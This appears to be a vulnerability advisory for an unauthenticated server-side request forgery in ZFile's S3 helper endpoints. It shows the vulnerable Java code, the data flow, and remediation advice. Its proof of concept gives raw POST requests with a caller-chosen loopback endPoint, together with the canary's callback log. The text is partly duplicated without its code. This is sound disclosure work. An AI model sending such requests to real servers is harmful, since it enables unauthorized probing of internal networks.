Summary
ZFile allows an unauthenticated caller to choose the HTTP endpoint used by the S3 helper. The caller-controlled endPoint value is passed to the AWS SDK S3Client.endpointOverride without a host allowlist or private-address check.
Root Cause
The vulnerable entry point is S3HelperController, which is mapped to /s3. It exposes POST /s3/getBuckets and POST /s3/getCorsConfig. These paths are not under /admin. SaTokenConfigure applies the administrator login and role checks to /admin/** only, so the S3 helper endpoints were reachable without an authenticated ZFile session during the reproduction.
For POST /s3/getBuckets, the controller accepts GetS3BucketListRequest and reads the attacker-controlled endPoint field:
@RequestMapping("/s3")
public class S3HelperController {
@PostMapping("/getBuckets")
@ResponseBody
public AjaxJson<List<S3BucketNameResult>> getBucketNames(
@Valid @RequestBody GetS3BucketListRequest request) {
String accessKey = request.getAccessKey();
String secretKey = request.getSecretKey();
String endPoint = request.getEndPoint();
if (!UrlUtils.hasScheme(endPoint)) {
endPoint = "http://" + endPoint;
}
...
URI endpointOverride = URI.create(endPoint);
StaticCredentialsProvider credentialsProvider =
StaticCredentialsProvider.create(
AwsBasicCredentials.create(accessKey, secretKey));
s3Client = S3Client.builder()
.region(oss)
.endpointOverride(endpointOverride)
.credentialsProvider(credentialsProvider)
.build();
buckets = s3Client.listBuckets().buckets();
}
The request DTO only applies non-empty validation to the endpoint. It does not restrict the hostname, port, address range, or redirect behavior:
@NotBlank(message = "EndPoint 不能为空")
private String endPoint;
UrlUtils.hasScheme() only determines whether the value starts with http:// or https://:
public static boolean hasScheme(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}
This check is not an SSRF defense. It does not validate the destination host.
The resulting endpointOverride is not merely stored as configuration. S3Client.listBuckets() actively sends the S3 request to that URI. The same data flow is present in POST /s3/getCorsConfig: its request DTO also accepts endPoint without an address policy, and the controller passes the value to S3Client.endpointOverride() before calling getBucketCors().
The complete source-to-sink flow is:
unauthenticated POST /s3/getBuckets
-> GetS3BucketListRequest.endPoint
-> UrlUtils.hasScheme() checks only the URL scheme
-> URI.create(endPoint)
-> S3Client.builder().endpointOverride(endpointOverride)
-> s3Client.listBuckets()
-> outbound HTTP request to the attacker-selected host and port
The root cause is the combination of an externally controllable outbound destination, insufficient URL validation, and a server-side SDK call that is executed before any destination security policy is applied.
POC
- A separate Canary service listened on 127.0.0.1:28081 inside the target web container's network namespace.
Canary request A and response
POST /s3/getBuckets HTTP/1.1
Host: localhost:37632
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 131
{"accessKey":"audit-probe","secretKey":"audit-probe","endPoint":"http://127.0.0.1:28081/poc/zfile_SSRF-001-A","region":"us-east-1"}
HTTP/1.1 500
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept,Zfile-Token,Axios-Request,Axios-From
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Credentials: false
Access-Control-Max-Age: 600
vary: accept-encoding
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 29 Jul 2026 17:37:06 GMT
Connection: close
96
{"code":"50000","msg":"S3 工具辅助模块获取 Bucket 列表失败","data":null,"dataCount":null,"traceId":"30300690-6f32-475a-ab48-f009244c065a"}
0
Canary request B and response
POST /s3/getBuckets HTTP/1.1
Host: localhost:37632
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 131
{"accessKey":"audit-probe","secretKey":"audit-probe","endPoint":"http://127.0.0.1:28081/poc/zfile_SSRF-001-B","region":"us-east-1"}
HTTP/1.1 500
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept,Zfile-Token,Axios-Request,Axios-From
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Credentials: false
Access-Control-Max-Age: 600
vary: accept-encoding
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 29 Jul 2026 17:37:06 GMT
Connection: close
96
{"code":"50000","msg":"S3 工具辅助模块获取 Bucket 列表失败","data":null,"dataCount":null,"traceId":"01047437-af1d-4702-b075-41e85186bdfa"}
0
Canary
The Canary recorded both callbacks:
2026-07-29T17:37:06.748947+00:00
GET /poc/zfile_SSRF-001-A/
source: 127.0.0.1
2026-07-29T17:37:06.830022+00:00
GET /poc/zfile_SSRF-001-B/
source: 127.0.0.1
Impact
An unauthenticated client can cause the ZFile server to initiate HTTP requests to loopback, private, link-local, or other internal destinations that are reachable from the application network. This can be used to probe internal services and to send protocol-specific requests through the server.
Recommendation
- Do not accept an arbitrary endpoint from an unauthenticated request. Prefer a server-side allowlist of approved S3 providers and endpoint hosts.
- If custom S3 endpoints are a required feature, parse the URI and enforce http/https, an approved port policy, a hostname allowlist, and DNS resolution checks that reject loopback, private, link-local, multicast, metadata-service, and other non-routable addresses.
- Revalidate the destination after DNS resolution and across every redirect, and route outbound S3 traffic through an egress proxy with an explicit policy.
- Place the S3 helper behind the intended authentication and authorization checks, and add rate limiting and audit logging.
Summary
ZFile allows an unauthenticated caller to choose the HTTP endpoint used by the S3 helper. The caller-controlled
endPointvalue is passed to the AWS SDKS3Client.endpointOverridewithout a host allowlist or private-address check.Root Cause
The vulnerable entry point is S3HelperController, which is mapped to /s3. It exposes POST /s3/getBuckets and POST /s3/getCorsConfig. These paths are not under /admin. SaTokenConfigure applies the administrator login and role checks to /admin/** only, so the S3 helper endpoints were reachable without an authenticated ZFile session during the reproduction.
For POST /s3/getBuckets, the controller accepts GetS3BucketListRequest and reads the attacker-controlled endPoint field:
The request DTO only applies non-empty validation to the endpoint. It does not restrict the hostname, port, address range, or redirect behavior:
UrlUtils.hasScheme() only determines whether the value starts with http:// or https://:
This check is not an SSRF defense. It does not validate the destination host.
The resulting endpointOverride is not merely stored as configuration. S3Client.listBuckets() actively sends the S3 request to that URI. The same data flow is present in POST /s3/getCorsConfig: its request DTO also accepts endPoint without an address policy, and the controller passes the value to S3Client.endpointOverride() before calling getBucketCors().
The complete source-to-sink flow is:
The root cause is the combination of an externally controllable outbound destination, insufficient URL validation, and a server-side SDK call that is executed before any destination security policy is applied.
POC
Canary request A and response
Canary request B and response
Canary
The Canary recorded both callbacks:
Impact
An unauthenticated client can cause the ZFile server to initiate HTTP requests to loopback, private, link-local, or other internal destinations that are reachable from the application network. This can be used to probe internal services and to send protocol-specific requests through the server.
Recommendation